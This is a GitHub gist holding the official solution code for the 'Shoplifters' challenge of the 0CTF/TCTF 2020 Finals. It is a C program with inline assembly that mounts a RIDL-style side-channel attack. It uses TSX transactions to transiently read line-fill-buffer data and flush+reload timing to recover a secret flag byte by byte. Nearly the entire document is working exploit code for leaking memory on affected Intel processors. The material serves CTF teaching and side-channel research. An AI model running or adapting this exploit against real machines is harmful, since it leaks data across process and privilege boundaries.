Skip to content

Instantly share code, notes, and snippets.

@birdg0
Last active September 27, 2020 09:25
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save birdg0/529dc85a9feca8d64673fd84ea36f89c to your computer and use it in GitHub Desktop.
Official solution for "Shoplifters" of 0CTF/TCTF 2020 Finals
/*
gcc -m64 -nostdlib -Os -mrtm -fno-toplevel-reorder -static -Wno-multichar solve.c -o solve.elf
objcopy -Obinary -j .text solve.elf solve.bin
Reference https://github.com/Alberts-Coffee-Hours/Mastik/blob/master/src/l1.c,
https://github.com/vusec/ridl/blob/master/exploits/shadow/leak.c
and https://github.com/oranav/ctf-writeups/blob/master/gctf19/RIDL/solve.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <string.h>
#include <immintrin.h>
#include <unistd.h>
#include <errno.h>
void myputc(char c);
void writeint(unsigned int x);
void probelist(void *p, int segments, int seglen);
void flush(unsigned char *p);
void mfence();
void maccess(unsigned char *p);
void flush_buffer(unsigned char *buf);
int time_flush_reload(unsigned char *ptr);
int time_mem_access(unsigned char *ptr);
int detect_flush_reload_threshold(unsigned char *buf);
int valid_char(unsigned char c);
static void tsxabort_leak_clflush(unsigned char *leak, unsigned char *flushbuffer, register uintptr_t index, register uintptr_t mask, unsigned char *reloadbuffer1, void *p);
#define CONFIDENCE_SCORE 1
#define DEFAULT_URL "TCTF"
#define BUF_SIZE 256
#define STRIDE 4096
#define BUF_TOTAL (BUF_SIZE * STRIDE)
#define SECRET_LEN 124
#define CACHE_LINE_LEN 64
#define L1_ASSOCIATIVITY 8
#define L1_CACHELINE 64
#define L1_STRIDE (L1_CACHELINE * L1_SETS)
#define L1_SETS 64
#define PAGE_SIZE 4096
#define FROM '$'//0x24
#define TO 0x7f//0x7a
#define DUMMY_HIT (FROM-1)
struct l1pp {
void *memory;
void *fwdlist;
void *bkwlist;
uint8_t monitored[L1_SETS];
int nsets;
};
typedef struct l1pp *l1pp_t;
#define PTR(start, set, way, ptr) (void *)(((uintptr_t)start) + ((set) * L1_CACHELINE) + ((way) * L1_STRIDE) + ((ptr)*sizeof(void *)))
#define LNEXT(p) (*(void **)(p))
void _start(unsigned char *mem) {
unsigned char hist[SECRET_LEN][BUF_SIZE];
unsigned char *buf = mem;
memset(buf, 1, BUF_TOTAL);
unsigned char *leak_mapping = mem + BUF_TOTAL;
memset(leak_mapping, 1, 4096);
// printf("%p\n", leak_mapping);
l1pp_t l1 = (l1pp_t)(leak_mapping + 0x1000);
l1->memory = leak_mapping + 0x2000;
for (int set = 0; set < L1_SETS; set++) {
for (int way = 0; way < L1_ASSOCIATIVITY - 1; way++) {
LNEXT(PTR(l1->memory, set, way, 0)) = PTR(l1->memory, set, way+1, 0);
LNEXT(PTR(l1->memory, set, way+1, 1)) = PTR(l1->memory, set, way, 1);
}
LNEXT(PTR(l1->memory, set, 7, 0)) = PTR(l1->memory, set, 0, 0);
}
int CACHE_MISS_THRESHOLD = detect_flush_reload_threshold(buf);
// printf("F+R threshold: %d\n", CACHE_MISS_THRESHOLD);
writeint(CACHE_MISS_THRESHOLD);
flush_buffer(buf);
unsigned char secret[SECRET_LEN];
// prepare secret
memcpy(secret, DEFAULT_URL, strlen(DEFAULT_URL));
register uint64_t mask;
register int index;
int update;
int found_index;
found_index = strlen(DEFAULT_URL);
char flag[21] ={ 0 };
int flag_index = 0;
while (flag_index < 20) {
index = found_index - 3;
// use the last 3 bytes to compare and filter out noise
mask = *((uint64_t *)&secret[index]) & 0xffffff;
update = 0;
while (1) {
// leak value into buffers
tsxabort_leak_clflush(leak_mapping, buf, index, mask, buf, PTR(l1->memory, flag_index * 2, 0, 0));
// F+R -> mark found value in histogram
for (int i=DUMMY_HIT; i<=TO; i++) {
int time = time_flush_reload(buf + STRIDE * i);
if (time < CACHE_MISS_THRESHOLD) {
hist[index][i]++;
if (i != DUMMY_HIT) {
// printf("Buf 1: 0x%x=%c\n", i, i);
update = i;
}
break;
}
}
// check if F+R yields satisfying result > CONFIDENCE_SCORE
if (update) {
// filter out invalid chars -> more reliable
if (!valid_char(update)) {
// printf("Invalid char: %c\n", update);
update = 0;
continue;
}
if (found_index < 62 && hist[index][update] >= CONFIDENCE_SCORE) {
flag[flag_index] = update;
flag_index++;
myputc(update);
break;
}
}
}
}
}
inline __attribute__((always_inline)) void probelist(void *p, int segments, int seglen) {
while (segments--) {
for (int i = seglen; i--; ) {
asm volatile (""::"r" (p):);
p = LNEXT(p);
}
}
}
inline __attribute__((always_inline)) void flush(unsigned char *p) {
asm volatile("clflush (%0)\n" :: "r"(p));
}
inline __attribute__((always_inline)) void mfence() {
asm volatile("mfence");
}
inline __attribute__((always_inline)) void maccess(unsigned char *p) {
asm volatile("movq (%0), %%rax\n" : : "r"(p) : "rax");
}
void flush_buffer(unsigned char *buf) {
for (int i=0; i<BUF_SIZE; i++) {
flush(buf + i * STRIDE);
}
}
/**
* Time access to addr in CPU cycles.
* If <100 then it was most likely in cache
* If >150 then it most likely needed to be fetched from memory
* @param addr The address to time
* @return Access time in CPU cycles
*
* Derived from https://github.com/defuse/flush-reload-attacks/blob/master/flush-reload/cachebench/l1vl3.c
*/
inline __attribute__((always_inline)) int rdtsc_access(unsigned char *addr) {
volatile unsigned long time;
asm volatile(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" movq %%rax, %%rsi \n"
" movq (%1), %%rax \n"
" lfence \n"
" rdtsc \n"
" subq %%rsi, %%rax \n"
: "=a" (time)
: "c" (addr)
: "%rsi", "%rdx"
);
return time;
}
inline __attribute__((always_inline)) int time_flush_reload(unsigned char *ptr) {
int time = rdtsc_access(ptr);
flush(ptr);
return time;
}
inline __attribute__((always_inline)) int time_mem_access(unsigned char *ptr) {
int time = rdtsc_access(ptr);
mfence();
return time;
}
int detect_flush_reload_threshold(unsigned char *buf) {
int mem_access_time = 0;
int fr_time = 0;
unsigned char *ptr = buf + BUF_TOTAL/2;
int count = 1000000;
// make sure value is in cache
maccess(ptr);
for (int i = 0; i < count; i++) {
mem_access_time += time_mem_access(ptr);
}
// flush value from mem again
flush(ptr);
for (int i = 0; i < count; i++) {
fr_time += time_flush_reload(ptr);
}
mem_access_time /= count;
fr_time /= count;
return (fr_time + mem_access_time * 2) / 3;
}
inline __attribute__((always_inline)) int valid_char(unsigned char c) {
switch (c) {
case 'a':
case 'b':
case 'c':
case 'd':
case 'e':
case 'f':
case 'g':
case 'h':
case 'i':
case 'j':
case 'k':
case 'l':
case 'm':
case 'n':
case 'o':
case 'p':
case 'q':
case 'r':
case 's':
case 't':
case 'u':
case 'v':
case 'w':
case 'x':
case 'y':
case 'z':
case 'A':
case 'B':
case 'C':
case 'D':
case 'E':
case 'F':
case 'G':
case 'H':
case 'I':
case 'J':
case 'K':
case 'L':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'S':
case 'T':
case 'U':
case 'V':
case 'W':
case 'X':
case 'Y':
case 'Z':
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
case '.':
case '/':
case '{':
case '}':
// additionally needed
case ':':
case '$':
return 1;
}
return 0;
}
static inline __attribute__((always_inline)) void tsxabort_leak_clflush(
unsigned char *leak, unsigned char *flushbuffer,
register uintptr_t index, register uintptr_t mask,
unsigned char *reloadbuffer1, void *p) {
probelist(p, 1, 10);
asm volatile(
"movq $0xffffffff, %%r11\n"
"clflush (%0)\n"
"sfence\n"
"clflush (%1)\n"
"xbegin 1f\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
"vsqrtps %%xmm0, %%xmm0\n"
// Leak from LFB
"movq (%0), %%rax\n" // leak 8 byte (little endian) starting from 'index' into %%rax
"xorq %2, %%rax\n" // xor with 3 byte mask: if hit then last 3 bytes == 0x0
"andq %%r11, %%rax\n" // zero out first byte
"rol $0x28, %%rax\n" // shift and rotate: 0x0000000045000003->0x0000030000000045, 0x0000000045000000->0x45
"shl $0xc, %%rax\n" // %%rax * 4096
"movq (%%rax, %3), %%rax\n" // copy from [%%rax+%3] -> touch value in reloadbuffer1
// touch DUMMY_HIT (0x23 << 0xc) to fail fast from F+R
"movq 0x23000(%3), %%rax\n"
"movq 0x23000(%3), %%rax\n"
"movq 0x23000(%3), %%rax\n"
"movq 0x23000(%3), %%rax\n"
"xend\n"
"1:\n"
:
:"r"(leak+index), "r"(flushbuffer), "r"(mask), "r"(reloadbuffer1)
:"rax", "r11", "r12"
);
mfence();
}
void myputc(char c)
{
int ret = 0;
volatile char buf[] ={ c };
asm volatile(
"movq %1, %%rsi \n\t"
"movq %2, %%rdx \n\t"
"movq $1, %%rax \n\t"
"movq $1, %%rdi \n\t"
"syscall\n\t"
: "=g"(ret)
: "g"(buf), "g" (1)
: "rsi", "rdx", "rax", "rdi"
);
}
void writeint(unsigned int x)
{
myputc(x&0xff);
myputc((x>>8)&0xff);
myputc((x>>16)&0xff);
myputc((x>>24)&0xff);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment